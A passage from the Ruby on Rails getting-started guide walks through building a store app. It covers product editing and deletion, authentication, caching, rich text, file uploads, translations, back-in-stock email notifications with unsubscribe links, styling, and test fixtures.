We also set the HTTP status to 422 Unprocessable Entity to tell the browser this POST request failed and to handle it accordingly.

### [10.6. Editing Products](#editing-products)

The process of editing records is very similar to creating records. Instead of `new` and `create` actions, we will have `edit` and `update`.

Let's implement them in the controller with the following:

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  def index
    @products = Product.all
  end

  def show
    @product = Product.find(params[:id])
  end

  def new
    @product = Product.new
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to @product
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
    @product = Product.find(params[:id])
  end

  def update
    @product = Product.find(params[:id])
    if @product.update(product_params)
      redirect_to @product
    else
      render :edit, status: :unprocessable_entity
    end
  end

  private
    def product_params
      params.expect(product: [ :name ])
    end
end
```

#### [10.6.1. Extracting Partials](#extracting-partials)

We've already written a form for creating new products. Wouldn't it be nice if we could reuse that for edit and update? We can, using a feature called "partials" that allows you to reuse a view in multiple places.

We can move the form into a file called `app/views/products/_form.html.erb`. The filename starts with an underscore to denote this is a partial.

We also want to replace any instance variables with a local variable, which we can define when we render the partial. We'll do this by replacing `@product` with `product`.

Let's also display any errors from the form submission inside the form.

```
<%# app/views/products/_form.html.erb %>
<%= form_with model: product do |form| %>
  <% if form.object.errors.any? %>
    <p class="error"><%= form.object.errors.full_messages.first %></p>
  <% end %>

  <div>
    <%= form.label :name %>
    <%= form.text_field :name %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>
```

Using local variables allows partials to be reused multiple times on the same page with a different value each time. This comes in handy rendering lists of items like an index page.

To use this partial in our `app/views/products/new.html.erb` view, we can replace the form with a render call:

```
<%# app/views/products/new.html.erb %>
<h1>New product</h1>

<%= render "form", product: @product %>
<%= link_to "Cancel", products_path %>
```

The edit view becomes almost the exact same thing thanks to the form partial. Let's create `app/views/products/edit.html.erb` with the following:

```
<%# app/views/products/edit.html.erb %>
<h1>Edit product</h1>

<%= render "form", product: @product %>
<%= link_to "Cancel", @product %>
```

To learn more about view partials, check out the [Action View Guide](action_view_overview.html).

Now we can add an Edit link to `app/views/products/show.html.erb`:

```
<%# app/views/products/show.html.erb %>
<h1><%= @product.name %></h1>

<%= link_to "Back", products_path %>
<%= link_to "Edit", edit_product_path(@product) %>
```

#### [10.6.2. Before Actions](#before-actions)

Since `edit` and `update` require an existing database record like `show` we can deduplicate this into a `before_action`.

A `before_action` allows you to extract shared code between actions and run it *before* the action. In the above controller code, `@product = Product.find(params[:id])` is defined in three different methods. Extracting this query to a before action called `set_product` cleans up our code for each action.

This is a good example of the DRY (Don't Repeat Yourself) philosophy in action.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  before_action :set_product, only: %i[ show edit update ]

  def index
    @products = Product.all
  end

  def show
  end

  def new
    @product = Product.new
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to @product
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
  end

  def update
    if @product.update(product_params)
      redirect_to @product
    else
      render :edit, status: :unprocessable_entity
    end
  end

  private
    def set_product
      @product = Product.find(params[:id])
    end

    def product_params
      params.expect(product: [ :name ])
    end
end
```

### [10.7. Deleting Products](#deleting-products)

The last feature we need to implement is deleting products. We will add a `destroy` action to our `ProductsController` to handle `DELETE /products/:id` requests.

Adding `destroy` to `before_action :set_product` lets us set the `@product` instance variable in the same way we do for the other actions.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  before_action :set_product, only: %i[ show edit update destroy ]

  def index
    @products = Product.all
  end

  def show
  end

  def new
    @product = Product.new
  end

  def create
    @product = Product.new(product_params)
    if @product.save
      redirect_to @product
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
  end

  def update
    if @product.update(product_params)
      redirect_to @product
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @product.destroy
    redirect_to products_path
  end

  private
    def set_product
      @product = Product.find(params[:id])
    end

    def product_params
      params.expect(product: [ :name ])
    end
end
```

To make this work, we need to add a Delete button to `app/views/products/show.html.erb`:

```
<%# app/views/products/show.html.erb %>
<h1><%= @product.name %></h1>

<%= link_to "Back", products_path %>
<%= link_to "Edit", edit_product_path(@product) %>
<%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
```

`button_to` generates a form with a single button in it with the "Delete" text. When this button is clicked, it submits the form which makes a `DELETE` request to `/products/:id` which triggers the `destroy` action in our controller.

The `turbo_confirm` data attribute tells the Turbo JavaScript library to ask the user to confirm before submitting the form. We'll dig more into that shortly.

## [11. Adding Authentication](#adding-authentication)

Anyone can edit or delete products which isn't safe. Let's add some security by requiring a user to be authenticated to manage products.

Rails comes with an authentication generator that we can use. It creates User and Session models and the controllers and views necessary to login to our application.

Head back to your terminal and run the following command:

```
$ bin/rails generate authentication
```

Then migrate the database to add the User and Session tables.

```
$ bin/rails db:migrate
```

Open the Rails console to create a User.

```
$ bin/rails console
```

Use `User.create!` method to create a User in the Rails console. Feel free to use your own email and password instead of the example.

```
store(dev)> User.create! email_address: "you@example.org", password: "s3cr3t", password_confirmation: "s3cr3t"
```

Restart your Rails server so it picks up the `bcrypt` gem added by the generator. BCrypt is used for securely hashing passwords for authentication.

```
$ bin/rails server
```

When you visit any page, Rails will prompt for a username and password. Enter the email and password you used when creating the User record.

Try it out by visiting <http://localhost:3000/products/new>

If you enter the correct username and password, it will allow you through. Your browser will also store these credentials for future requests so you don't have to type it in every page view.

### [11.1. Adding Log Out](#adding-log-out)

To log out of the application, we can add a button to the top of `app/views/layouts/application.html.erb`. This layout is where you put HTML that you want to include in every page like a header or footer.

Add a small `<nav>` section inside the `<body>` with a link to Home and a Log out button and wrap `yield` with a `<main>` tag.

```
<%# app/views/layouts/application.html.erb %>
<!DOCTYPE html>
<html>
  <%# ... %>
  <body>
    <nav>
      <%= link_to "Home", root_path %>
      <%= button_to "Log out", session_path, method: :delete if authenticated? %>
    </nav>

    <main>
      <%= yield %>
    </main>
  </body>
</html>
```

This will display a Log out button only if the user is authenticated. When clicked, it will send a DELETE request to the session path which will log the user out.

### [11.2. Allowing Unauthenticated Access](#allowing-unauthenticated-access)

However, our store's product index and show pages should be accessible to everyone. By default, the Rails authentication generator will restrict all pages to authenticated users only.

To allow guests to view products, we can allow unauthenticated access in our controller.

```
# app/controllers/products_controller.rb
class ProductsController < ApplicationController
  allow_unauthenticated_access only: %i[ index show ]
  # ...
end
```

Log out and visit the products index and show pages to see they're accessible without being authenticated.

### [11.3. Showing Links for Authenticated Users Only](#showing-links-for-authenticated-users-only)

Since only logged in users can create products, we can modify the `app/views/products/index.html.erb` view to only display the new product link if the user is authenticated.

```
<%# app/views/products/index.html.erb %>
<%= link_to "New product", new_product_path if authenticated? %>
```

Click the Log out button and you'll see the New link is hidden. Log in at <http://localhost:3000/session/new> and you'll see the New link on the index page.

Optionally, you can include a link to this route in the navbar to add a Login link if not authenticated.

```
<%# app/views/products/index.html.erb %>
<%= link_to "Login", new_session_path unless authenticated? %>
```

You can also update the Edit and Delete links on the `app/views/products/show.html.erb` view to only display if authenticated.

```
<%# app/views/products/show.html.erb %>
<h1><%= @product.name %></h1>

<%= link_to "Back", products_path %>
<% if authenticated? %>
  <%= link_to "Edit", edit_product_path(@product) %>
  <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
<% end %>
```

## [12. Caching Products](#caching-products)

Sometimes caching specific parts of a page can improve performance. Rails simplifies this process with Solid Cache, a database-backed cache store that comes included by default.

Using the `cache` method, we can store HTML in the cache. Let's cache the header in `app/views/products/show.html.erb`.

```
<%# app/views/products/show.html.erb %>
<% cache @product do %>
  <h1><%= @product.name %></h1>
<% end %>
```

By passing `@product` into `cache`, Rails generates a unique cache key for the product. Active Record objects have a `cache_key` method that returns a String like `"products/1"`. The `cache` helper in the views combines this with the template digest to create a unique key for this HTML.

To enable caching in development, run the following command in your terminal.

```
$ bin/rails dev:cache
```

When you visit a product's show action (like `/products/2`), you'll see the new caching lines in your Rails server logs:

```
Read fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (1.6ms)
Write fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (4.0ms)
```

The first time we open this page, Rails will generate a cache key and ask the cache store if it exists. This is the `Read fragment` line.

Since this is the first page view, the cache does not exist so the HTML is generated and written to the cache. We can see this as the `Write fragment` line in the logs.

Refresh the page and you'll see the logs no longer contain the `Write fragment`.

```
Read fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (1.3ms)
```

The cache entry was written by the last request, so Rails finds the cache entry on the second request. Rails also changes the cache key when records are updated to ensure that it never renders stale cache data.

Learn more in the [Caching with Rails](caching_with_rails.html) guide.

## [13. Rich Text Fields with Action Text](#rich-text-fields-with-action-text)

Many applications need rich text with embeds (i.e. multimedia elements) and Rails provides this functionality out of the box with Action Text.

To use Action Text, you'll first run the installer:

```
$ bin/rails action_text:install
$ bundle install
$ bin/rails db:migrate
```

Restart your Rails server to make sure all the new features are loaded.

Now, let's add a rich text description field to our product.

First, add the following to the `Product` model:

```
# app/models/product.rb
class Product < ApplicationRecord
  has_rich_text :description
  validates :name, presence: true
end
```

The form can now be updated to include a rich text field for editing the description in `app/views/products/_form.html.erb` before the submit button.

```
<%# app/views/products/_form.html.erb %>
<%= form_with model: product do |form| %>
  <%# ... %>

  <div>
    <%= form.label :description, style: "display: block" %>
    <%= form.rich_textarea :description %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>
```

Our controller also needs to permit this new parameter when the form is submitted, so we'll update the permitted params to include description in `app/controllers/products_controller.rb`

```
# app/controllers/products_controller.rb
    # Only allow a list of trusted parameters through.
    def product_params
      params.expect(product: [ :name, :description ])
    end
```

We also need to update the show view to display the description in `app/views/products/show.html.erb`:

```
<%# app/views/products/show.html.erb%>
<% cache @product do %>
  <h1><%= @product.name %></h1>
  <%= @product.description %>
<% end %>
```

The cache key generated by Rails also changes when the view is modified. This makes sure the cache stays in sync with the latest version of the view template.

Create a new product and add a description with bold and italic text. You'll see that the show page displays the formatted text and editing the product retains this rich text in the text area.

Check out the [Action Text Overview](action_text_overview.html) to learn more.

## [14. File Uploads with Active Storage](#file-uploads-with-active-storage)

Action Text is built upon another feature of Rails called Active Storage that makes it easy to upload files.

Try editing a product and dragging an image into the rich text editor, then update the record. You'll see that Rails uploads this image and renders it inside the rich text editor. Cool, right?!

We can also use Active Storage directly. Let's add a featured image to the `Product` model.

```
# app/models/product.rb
class Product < ApplicationRecord
  has_one_attached :featured_image
  has_rich_text :description
  validates :name, presence: true
end
```

Then we can add a file upload field to our product form before the submit button:

```
<%# app/views/products/_form.html.erb %>
<%= form_with model: product do |form| %>
  <%# ... %>

  <div>
    <%= form.label :featured_image, style: "display: block" %>
    <%= form.file_field :featured_image, accept: "image/*" %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>
```

Add `:featured_image` as a permitted parameter in `app/controllers/products_controller.rb`

```
# app/controllers/products_controller.rb
    # Only allow a list of trusted parameters through.
    def product_params
      params.expect(product: [ :name, :description, :featured_image ])
    end
```

Lastly, we want to display the featured image for our product in `app/views/products/show.html.erb`. Add the following to the top.

```
<%# app/views/products/show.html.erb %>
<%= image_tag @product.featured_image if @product.featured_image.attached? %>
```

Try uploading an image for a product and you'll see the image displayed on the show page after saving.

Check out the [Active Storage Overview](active_storage_overview.html) for more details.

## [15. Internationalization (I18n)](#internationalization-i18n)

Rails makes it easy to translate your app into other languages.

The `translate` or `t` helper in our views looks up a translation by name and returns the text for the current locale.

In `app/views/products/index.html.erb`, let's update the header tag to use a translation.

```
<%# app/views/products/index.html.erb %>
<h1><%= t "hello" %></h1>
```

Refreshing the page, we see `Hello world` is the header text now. Where did that come from?

Since the default language is in English, Rails looks in `config/locales/en.yml` (which was created during `rails new`) for a matching key under the locale.

```
# config/locales/en.yml
en:
  hello: "Hello world"
```

Let's create a new locale file in our editor for Spanish and add a translation in `config/locales/es.yml`.

```
# config/locales/es.yml
es:
  hello: "Hola mundo"
```

We need to tell Rails which locale to use. The simplest option is to look for a locale param in the URL. We can do this in `app/controllers/application_controller.rb` with the following:

```
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
  # ...

  around_action :switch_locale

  def switch_locale(&action)
    locale = params[:locale] || I18n.default_locale
    I18n.with_locale(locale, &action)
  end
end
```

This will run every request and look for `locale` in the params or fallback to the default locale. It sets the locale for the request and resets it after it's finished.

* Visit <http://localhost:3000/products?locale=en>, you will see the English translation.
* Visit <http://localhost:3000/products?locale=es>, you will see the Spanish translation.
* Visit <http://localhost:3000/products> without a locale param, it will fallback to English.

Let's update the index header to use a real translation instead of `"Hello world"`.

```
<%# app/views/products/index.html.erb %>
<h1><%= t ".title" %></h1>
```

Notice the `.` before `title`? This tells Rails to use a relative locale lookup. Relative lookups include the controller and action automatically in the key so you don't have to type them every time. For `.title` with the English locale, it will look up `en.products.index.title`.

In `config/locales/en.yml` we want to add the `title` key under `products` and `index` to match our controller, view, and translation name.

```
# config/locales/en.yml
en:
  hello: "Hello world"
  products:
    index:
      title: "Products"
```

In the Spanish locales file, we can do the same thing:

```
# config/locales/es.yml
es:
  hello: "Hola mundo"
  products:
    index:
      title: "Productos"
```

You'll now see "Products" when viewing the English locale and "Productos" when viewing the Spanish locale.

Learn more about [Internationalization (I18n)](i18n.html).

## [16. Action Mailer and Email Notifications](#action-mailer-and-email-notifications)

A common feature of e-commerce stores is an email subscription to get notified when a product is back in stock. Now that we've seen the basics of Rails, let's add this feature to our store.

### [16.1. Basic Inventory Tracking](#basic-inventory-tracking)

First, let's add an inventory count to the Product model so we can keep track of stock. We can generate this migration using the following command:

```
$ bin/rails generate migration AddInventoryCountToProducts inventory_count:integer
```

Rails infers that `AddInventoryCountToProducts` targets the `products` table because the name matches the `add_<columns>_to_<table>` convention. That pattern lets the generator pre-fill `add_column :products, ...`, so you only need to supply the column details. Run `bin/rails generate migration --help` to see more naming conventions.

This will generate a migration file. Open it and add a default value of `0` to ensure `inventory_count` is never `nil`:

```
# db/migrate/<timestamp>_add_inventory_count_to_products.rb
class AddInventoryCountToProducts < ActiveRecord::Migration[8.1]
  def change
    add_column :products, :inventory_count, :integer, default: 0
  end
end
```

Then let's run the migration.

```
$ bin/rails db:migrate
```

We'll need to add the inventory count to the product form in `app/views/products/_form.html.erb`.

```
<%# app/views/products/_form.html.erb %>
<%= form_with model: product do |form| %>
  <%# ... %>

  <div>
    <%= form.label :inventory_count, style: "display: block" %>
    <%= form.number_field :inventory_count %>
  </div>

  <div>
    <%= form.submit %>
  </div>
<% end %>
```

The controller also needs `:inventory_count` added to the permitted parameters.

```
# app/controllers/products_controller.rb
    def product_params
      params.expect(product: [ :name, :description, :featured_image, :inventory_count ])
    end
```

It would also be helpful to validate that our inventory count is never a negative number, so let's also add a validation for that in our model.

```
# app/models/product.rb
class Product < ApplicationRecord
  has_one_attached :featured_image
  has_rich_text :description

  validates :name, presence: true
  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
end
```

With these changes, we can now update the inventory count of products in our store.

### [16.2. Adding Subscribers to Products](#adding-subscribers-to-products)

In order to notify users that a product is back in stock, we need to keep track of these subscribers.

Let's generate a model called Subscriber to store these email addresses and associate them with the respective product.

Here we are not specifying a type for `email` as rails automatically defaults to a `string` when a type is not given for migrations.

```
$ bin/rails generate model Subscriber product:belongs_to email
```

By including `product:belongs_to` above, we told Rails that subscribers and products have a one-to-many relationship, meaning a Subscriber "belongs to" a single Product instance.

Next, open the generated migration (`db/migrate/<timestamp>_create_subscribers.rb`) like we did for Product.

```
# db/migrate/<timestamp>_create_subscribers.rb
class CreateSubscribers < ActiveRecord::Migration[8.1]
  def change
    create_table :subscribers do |t|
      t.belongs_to :product, null: false, foreign_key: true
      t.string :email

      t.timestamps
    end
  end
end
```

This looks quite similar to the migration for `Product`, the main new thing is `belongs_to` which adds a `product_id` foreign key column.

Then run the new migration:

```
$ bin/rails db:migrate
```

A Product, however, can have many subscribers, so we then add `has_many :subscribers, dependent: :destroy` to our Product model to add the second part of this association between the two models. This tells Rails how to join queries between the two database tables.

```
# app/models/product.rb
class Product < ApplicationRecord
  has_many :subscribers, dependent: :destroy
  has_one_attached :featured_image
  has_rich_text :description

  validates :name, presence: true
  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
end
```

Now we need a controller to create these subscribers. Let's create that in `app/controllers/subscribers_controller.rb` with the following code:

```
# app/controllers/subscribers_controller.rb
class SubscribersController < ApplicationController
  allow_unauthenticated_access
  before_action :set_product

  def create
    @product.subscribers.where(subscriber_params).first_or_create
    redirect_to @product, notice: "You are now subscribed."
  end

  private
    def set_product
      @product = Product.find(params[:product_id])
    end

    def subscriber_params
      params.expect(subscriber: [ :email ])
    end
end
```

The `redirect_to` uses the `notice:` argument to set a "flash" message to tell the user they are subscribed.

The [flash](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash.html) provides a way to pass temporary data between controller actions. Anything you place in the flash will be available to the very next action and then cleared. The flash is typically used for setting messages (e.g. notices and alerts) in a controller action before redirecting to an action that displays the message to the user.

To display the flash message, let's add the flash to `app/views/layouts/application.html.erb` inside the body:

```
<%# app/views/layouts/application.html.erb %>
<html>
  <%# ... %>
  <body>
    <div class="notice"><%= flash[:notice] %></div>
    <div class="alert"><%= flash[:alert] %></div>
    <%# ... %>
  </body>
</html>
```

Learn more about the Flash in the [Action Controller Overview](action_controller_overview.html#the-flash)

To subscribe users to a specific product, we'll use a nested route so we know which product the subscriber belongs to. In `config/routes.rb` change `resources :products` to the following:

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  resources :products do
    resources :subscribers, only: [ :create ]
  end
end
```

On the product show page, we can check if there is inventory and display the amount in stock. Otherwise, we can display an out of stock message with the subscribe form to get notified when it is back in stock.

Create a new partial at `app/views/products/_inventory.html.erb` and add the following:

```
<%# app/views/products/_inventory.html.erb %>
<% if product.inventory_count.positive? %>
  <p><%= product.inventory_count %> in stock</p>
<% else %>
  <p>Out of stock</p>
  <p>Email me when available.</p>

  <%= form_with model: [product, Subscriber.new] do |form| %>
    <%= form.email_field :email, placeholder: "you@example.com", required: true %>
    <%= form.submit "Submit" %>
  <% end %>
<% end %>
```

Then update `app/views/products/show.html.erb` to render this partial after the `cache` block.

```
<%# app/views/products/show.html.erb %>
<%= render "inventory", product: @product %>
```

### [16.3. In Stock Email Notifications](#in-stock-email-notifications)

Action Mailer is a feature of Rails that allows you to send emails. We'll use it to notify subscribers when a product is back in stock.

We can generate a mailer with the following command:

```
$ bin/rails g mailer Product in_stock
```

This generates a class at `app/mailers/product_mailer.rb` with an `in_stock` method.

Update this method to mail to a subscriber's email address.

```
# app/mailers/product_mailer.rb
class ProductMailer < ApplicationMailer
  # Subject can be set in your I18n file at config/locales/en.yml
  # with the following lookup:
  #
  #   en.product_mailer.in_stock.subject
  #
  def in_stock
    @product = params[:product]
    mail to: params[:subscriber].email
  end
end
```

The mailer generator also generates two email templates in our views folder: one for HTML and one for Text. We can update those to include a message and link to the product.

Change `app/views/product_mailer/in_stock.html.erb` to:

```
<%# app/views/product_mailer/in_stock.html.erb %>
<h1>Good news!</h1>

<p><%= link_to @product.name, product_url(@product) %> is back in stock.</p>
```

And `app/views/product_mailer/in_stock.text.erb` to:

```
<%# app/views/product_mailer/in_stock.text.erb %>
Good news!

<%= @product.name %> is back in stock.
<%= product_url(@product) %>
```

We use `product_url` instead of `product_path` in mailers because email clients need to know the full URL to open in the browser when the link is clicked.

We can test an email by opening the Rails console and loading a product and subscriber to send to:

```
store(dev)> product = Product.first
store(dev)> subscriber = product.subscribers.find_or_create_by(email: "subscriber@example.org")
store(dev)> ProductMailer.with(product: product, subscriber: subscriber).in_stock.deliver_later
```

You'll see that it prints out an email in the logs.

```
ProductMailer#in_stock: processed outbound mail in 63.0ms
Delivered mail 66a3a9afd5d4a_108b04a4c41443@local.mail (33.1ms)
Date: Fri, 26 Jul 2024 08:50:39 -0500
From: from@example.com
To: subscriber@example.com
Message-ID: <66a3a9afd5d4a_108b04a4c41443@local.mail>
Subject: In stock
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="--==_mimepart_66a3a9afd235e_108b04a4c4136f";
 charset=UTF-8
Content-Transfer-Encoding: 7bit


----==_mimepart_66a3a9afd235e_108b04a4c4136f
Content-Type: text/plain;
 charset=UTF-8
Content-Transfer-Encoding: 7bit

Good news!

T-Shirt is back in stock.
http://localhost:3000/products/1


----==_mimepart_66a3a9afd235e_108b04a4c4136f
Content-Type: text/html;
 charset=UTF-8
Content-Transfer-Encoding: 7bit

<!-- BEGIN app/views/layouts/mailer.html.erb --><!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <!-- BEGIN app/views/product_mailer/in_stock.html.erb --><h1>Good news!</h1>

<p><a href="http://localhost:3000/products/1">T-Shirt</a> is back in stock.</p>
<!-- END app/views/product_mailer/in_stock.html.erb -->
  </body>
</html>
<!-- END app/views/layouts/mailer.html.erb -->
----==_mimepart_66a3a9afd235e_108b04a4c4136f--

Performed ActionMailer::MailDeliveryJob (Job ID: 5e2bd5f2-f54f-4088-ace3-3f6eb15aaf46) from Async(default) in 111.34ms
```

To trigger these emails, we can use a callback in the Product model to send emails anytime the inventory count changes from 0 to a positive number.

```
# app/models/product.rb
class Product < ApplicationRecord
  has_many :subscribers, dependent: :destroy
  has_one_attached :featured_image
  has_rich_text :description

  validates :name, presence: true
  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }

  after_update_commit :notify_subscribers, if: :back_in_stock?

  def back_in_stock?
    inventory_count_previously_was.zero? && inventory_count.positive?
  end

  def notify_subscribers
    subscribers.each do |subscriber|
      ProductMailer.with(product: self, subscriber: subscriber).in_stock.deliver_later
    end
  end
end
```

`after_update_commit` is an Active Record callback that is fired after changes are saved to the database. `if: :back_in_stock?` tells the callback to run only if the `back_in_stock?` method returns true.

Active Record keeps track of changes to attributes so `back_in_stock?` checks the previous value of `inventory_count` using `inventory_count_previously_was`. Then we can compare that against the current inventory count to determine if the product is back in stock.

`notify_subscribers` uses the Active Record association to query the `subscribers` table for all subscribers for this specific product and then queues up the `in_stock` email to be sent to each of them.

### [16.4. Extracting a Concern](#extracting-a-concern)

The Product model now has a decent amount of code for handling notifications. To better organize our code, we can extract this to an `ActiveSupport::Concern`. A Concern is a Ruby module with some syntactic sugar to make using them easier.

First let’s create the Notifications module.

Create a file at `app/models/product/notifications.rb` with the following:

```
# app/models/product/notifications.rb
module Product::Notifications
  extend ActiveSupport::Concern

  included do
    has_many :subscribers, dependent: :destroy
    after_update_commit :notify_subscribers, if: :back_in_stock?
  end

  def back_in_stock?
    inventory_count_previously_was.zero? && inventory_count.positive?
  end

  def notify_subscribers
    subscribers.each do |subscriber|
      ProductMailer.with(product: self, subscriber: subscriber).in_stock.deliver_later
    end
  end
end
```

When you include a module in a class, any code inside the `included` block runs as if it’s part of that class. At the same time, the methods defined in the module become regular methods you can call on objects (instances) of that class.

Now that the code triggering the notification has been extracted into the Notifications module, the Product model can be simplified to include the Notifications module.

```
# app/models/product.rb
class Product < ApplicationRecord
  include Notifications

  has_one_attached :featured_image
  has_rich_text :description

  validates :name, presence: true
  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
end
```

Concerns are a great way to organize features of your Rails application. As you add more features to the Product, the class will become messy. Instead, we can use Concerns to extract each feature out into a self-contained module like `Product::Notifications` which contains all the functionality for handling subscribers and how notifications are sent.

Extracting code into concerns also helps make features reusable. For example, we could introduce a new model that also needs subscriber notifications. This module could be used in multiple models to provide the same functionality.

### [16.5. Unsubscribe Links](#unsubscribe-links)

A subscriber may want to unsubscribe at some point, so let's build that next.

First, we need a route for unsubscribing that will be the URL we include in emails.

```
# config/routes.rb
Rails.application.routes.draw do
  # ...
  resources :products do
    resources :subscribers, only: [ :create ]
  end
  resource :unsubscribe, only: [ :show ]
```

The unsubscribe route is added at the top level and uses the singular `resource` in order to handle routes like `/unsubscribe?token=xyz`.

Active Record has a feature called `generates_token_for` that can generate unique tokens to find database records for different purposes. We can use this for generating a unique unsubscribe token to use in the email's unsubscribe URL.

```
# app/models/subscriber.rb
class Subscriber < ApplicationRecord
  belongs_to :product
  generates_token_for :unsubscribe
end
```

Our controller will first look up the Subscriber record from the token in the URL. Once the subscriber is found, it will destroy the record and redirect to the homepage. Create `app/controllers/unsubscribes_controller.rb` and add the following code:

```
# app/controllers/unsubscribes_controller.rb
class UnsubscribesController < ApplicationController
  allow_unauthenticated_access
  before_action :set_subscriber

  def show
    @subscriber&.destroy
    redirect_to root_path, notice: "Unsubscribed successfully."
  end

  private
    def set_subscriber
      @subscriber = Subscriber.find_by_token_for(:unsubscribe, params[:token])
    end
end
```

Last but not least, let's add the unsubscribe link to our email templates.

In `app/views/product_mailer/in_stock.html.erb`, add a `link_to`:

```
<%# app/views/product_mailer/in_stock.html.erb %>
<h1>Good news!</h1>

<p><%= link_to @product.name, product_url(@product) %> is back in stock.</p>

<%= link_to "Unsubscribe", unsubscribe_url(token: params[:subscriber].generate_token_for(:unsubscribe)) %>
```

In `app/views/product_mailer/in_stock.text.erb`, add the URL in plain text:

```
<%# app/views/product_mailer/in_stock.text.erb %>
Good news!

<%= @product.name %> is back in stock.
<%= product_url(@product) %>

Unsubscribe: <%= unsubscribe_url(token: params[:subscriber].generate_token_for(:unsubscribe)) %>
```

When the unsubscribe link is clicked, the subscriber record will be deleted from the database. The controller also safely handles invalid or expired tokens without raising any errors.

Use the Rails console to send another email and test the unsubscribe link in the logs.

## [17. Adding CSS & JavaScript](#adding-css-javascript)

CSS & JavaScript are core to building web applications, so let's learn how to use them with Rails.

### [17.1. Propshaft](#propshaft)

Rails' asset pipeline is called Propshaft. It takes your CSS, JavaScript, images, and other assets and serves them to your browser. In production, Propshaft keeps track of each version of your assets so they can be cached to make your pages faster. Check out the [Asset Pipeline guide](asset_pipeline.html) to learn more about how this works.

Let's modify `app/assets/stylesheets/application.css` and change our font to sans-serif.

```
/* app/assets/stylesheets/application.css */
body {
  font-family: Arial, Helvetica, sans-serif;
  padding: 1rem;
}

nav {
  justify-content: flex-end;
  display: flex;
  font-size: 0.875em;
  gap: 0.5rem;
  max-width: 1024px;
  margin: 0 auto;
  padding: 1rem;
}

nav a {
  display: inline-block;
}

main {
  max-width: 1024px;
  margin: 0 auto;
}

.alert,
.error {
  color: red;
}

.notice {
  color: green;
}

section.product {
  display: flex;
  gap: 1rem;
  flex-direction: row;
}

section.product img {
  border-radius: 8px;
  flex-basis: 50%;
  max-width: 50%;
}
```

Then we'll update `app/views/products/show.html.erb` to use these new styles.

```
<%# app/views/products/show.html.erb %>
<p><%= link_to "Back", products_path %></p>

<section class="product">
  <%= image_tag @product.featured_image if @product.featured_image.attached? %>

  <section class="product-info">
    <% cache @product do %>
      <h1><%= @product.name %></h1>
      <%= @product.description %>
    <% end %>

    <%= render "inventory", product: @product %>

    <% if authenticated? %>
      <%= link_to "Edit", edit_product_path(@product) %>
      <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
    <% end %>
  </section>
</section>
```

Refresh your page and you'll see the CSS has been applied.

### [17.2. Import Maps](#import-maps)

Rails uses import maps for JavaScript by default. This allows you to write modern JavaScript modules with no build steps.

You can find the JavaScript pins in `config/importmap.rb`. This file maps the JavaScript package names with the source file which is used to generate the importmap tag in the browser.

```
# config/importmap.rb
# Pin npm packages by running ./bin/importmap

pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "stimulus.min.js"
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "trix"
pin "@rails/actiontext", to: "actiontext.esm.js"
```

Each pin maps a JavaScript package name (e.g., `"@hotwired/turbo-rails"`) to a specific file or URL (e.g., `"turbo.min.js"`). `pin_all_from` maps all files in a directory (e.g., `app/javascript/controllers`) to a namespace (e.g., `"controllers"`).

Import maps keep the setup clean and minimal, while still supporting modern JavaScript features.

What are these JavaScript files already in our import map? They are a frontend framework called Hotwire that Rails uses by default.

### [17.3. Hotwire](#hotwire)

Hotwire is a JavaScript framework designed to take full advantage of server-side generated HTML. It is comprised of 3 core components:

1. [**Turbo**](https://turbo.hotwired.dev/) handles navigation, form submissions, page components, and updates without writing any custom JavaScript.
2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when you need custom JavaScript to add functionality to the page.
3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile apps by embedding your web app and progressively enhancing it with native mobile features.

We haven't written any JavaScript yet, but we have been using Hotwire on the frontend. For instance, the form you created to add and edit a product was powered by Turbo.

Learn more in the [Asset Pipeline](asset_pipeline.html) and [Working with JavaScript in Rails](working_with_javascript_in_rails.html) guides.

## [18. Testing](#testing)

Rails comes with a robust test suite. Let's write a test to ensure that the correct number of emails are sent when a product is back in stock.

### [18.1. Fixtures](#fixtures)

When you generate a model using Rails, it automatically creates a corresponding fixture file in the `test/fixtures` directory.

Fixtures are predefined sets of data that populate your test database before running tests. They allow you to define records with easy-to-remember names, making it simple to access them in your tests.

This file will be empty by default - you need to populate it with fixtures for your tests.

Let’s update the product fixtures file at `test/fixtures/products.yml` with the following:

```
# test/fixtures/products.yml
tshirt:
  name: T-Shirt
  inventory_count: 15
```

And for subscribers, let's add these two fixtures to `test/fixtures/subscribers.yml`:

```
# test/fixtures/subscribers.yml
david:
  product: tshirt
  email: david@example.org

chris:
  product: tshirt
  email: chris@example.org
```

